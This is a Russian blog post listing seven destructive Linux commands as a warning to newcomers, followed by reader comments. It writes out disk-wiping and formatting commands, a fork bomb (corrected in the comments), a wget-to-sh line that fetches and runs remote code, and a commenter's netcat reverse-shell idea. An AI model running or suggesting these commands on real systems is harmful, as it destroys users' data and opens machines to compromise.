7 самых опасных команд в Linux
Фанаты Linux собралы список из 7 самых опасных команд в Linux. Внимание! Не надо испытывать эти команды на вашей рабочей системе — она будет полностью уничтожена. Пожалуйста, тренируйтесь на кошках или в изолированных виртуальных средах.
rm -rf /
Первая и самая известная команда: rm -rf /. Введенная от имени суперпользователя, рекурсивно удалит все файлы.
Форматирование в Linux
Намного быстрее форматирование: mkfs.ext3 /dev/sda. Эта команда уничтожит все файлы на диске /dev/sda.
Forkbomb
Прием, известный как forkbomb (от системного вызова fork(), который ветвит текущий процесс). Достаточно набрать в консоли :(){:|:&};: и вся память заполнится копиями процессов, результатом чего будет зависание. Особо интересный эффект можно получить, поместив данную команду в сценарии загрузки.
RAW-запись на диск
Следующая команда портит жесткий диск /dev/sda: любая_команда > /dev/sda. Если вызванная команда выводит какие-либо данные, то они будут перенаправлены прямиком в начало диска, что приведет к потере данных.
Установка трояна в Linux с помощью Wget
Вредоносный код можно разместить в интернете и вызвать его удалённо командой, которая, на первый взгляд, не вызывает никаких подозрений: wget http://некоторый_вредоносный_код -O- | sh
Черная дыра Linux
Шестой способ вредительства заключается в том, чтобы отправить все файлы в "черную дыру" /dev/null. Сделать это можно следующим образом: mv /home/my_home_directory/* /dev/null
Удаление данных в Linux без возможности восстановления
И последний способ, который делает невозможным восстановление утерянных данных:
dd if=/dev/urandom of=/dev/sda. В этом случае диск заполняется случайными данными.
Разумеется, опытный пользователь легко распознает любую вредоносную команду, а вот новичкам следует внимательно изучить примеры, чтобы не стать жертвой "дружеского" розыгрыша.
Комментарии
pomodor
24 ноября, 2008 - 17:45
Лично мне наиболее опасным кажется вариант с wget. Его легко не заметить. Далее можно установить исходящее TCP-соединение на 80 порт и привязать к нему bash (например, с помощью netcat, который есть на каждом втором компьютере). И ни один файервол не поможет.
Bull-Dog
25 ноября, 2008 - 14:56
:(){:|:&};: прикольный смайлик =)))
Чингачгук
6 января, 2009 - 00:34
:(){:|:&};: -- не сработал :)) пишет синтаксическая ошибка
Чингачгук
30 января, 2009 - 05:22
пронесло )))
Чингачгук
10 марта, 2009 - 19:01
Аналогично, специально ради этого запустил виртуалку, жаль =(
Чингачгук
19 апреля, 2009 - 11:12
работает, просто тут пробела не хватает - как раз в том месте, где "синтаксическая ошибка"
Чингачгук
16 декабря, 2009 - 19:34
:(){ :|:& };:
так надо :-)
Чингачгук
30 января, 2009 - 10:55
> wget http://некоторый_вредоносный_код -O- | sh
Ничего себе не вызывает подозрений... Последние две буковки вызывают очень сильные подозрения. :)
Чингачгук
16 мая, 2009 - 17:49
Vitaliy
О мои поздравления вы нашли 7 новых багов в nix :) советую рассказать об этом
pomodor
16 мая, 2009 - 17:58
Пока единственный «баг» на сайте — это Вы, Виталий. ;) И тем более, Торвалдс не отвечает ни за bash, ни за rm, ни даже за wget.
Чингачгук
12 февраля, 2010 - 13:16
По крайней мере, 1, 2 и 6 способы не приводят к необратимым последствиям непосредственно; 3 - зависание Линукса, как правило, вообще не имеет последствий сколь-либо серьёзных...
pomodor
15 июня, 2010 - 04:20
8226 просмотра топика «7 смертоубийственных Linux-команд»...
8226 x 7 = 57582 убитых Linux-компа? ;~(
Dmitry
15 июня, 2010 - 09:46
А потом бегут на форумы со словами "гафно ваш линупс, я его за день уронил, что только полная переустановка помогла, но не на долго, так как на следующий день он сломался снова" :)))))
comrade
15 июня, 2010 - 13:08
Ха-ха! Когда в 2007 знакомился с линуксом (с юниксом я ещё 20лет назад работал:-), он у меня тоже прожил сначала 1 день, потом 2. Надо же было посмотреть, что у него внутри ;-))
Но с тех пор линуксы у меня умирали только от старости (да и то, если не хотел обновлять:).
Чингачгук
1 июля, 2012 - 02:13
этож не дыры это сознательное убийство. а здуру можно и х.. сломать )
Комментировать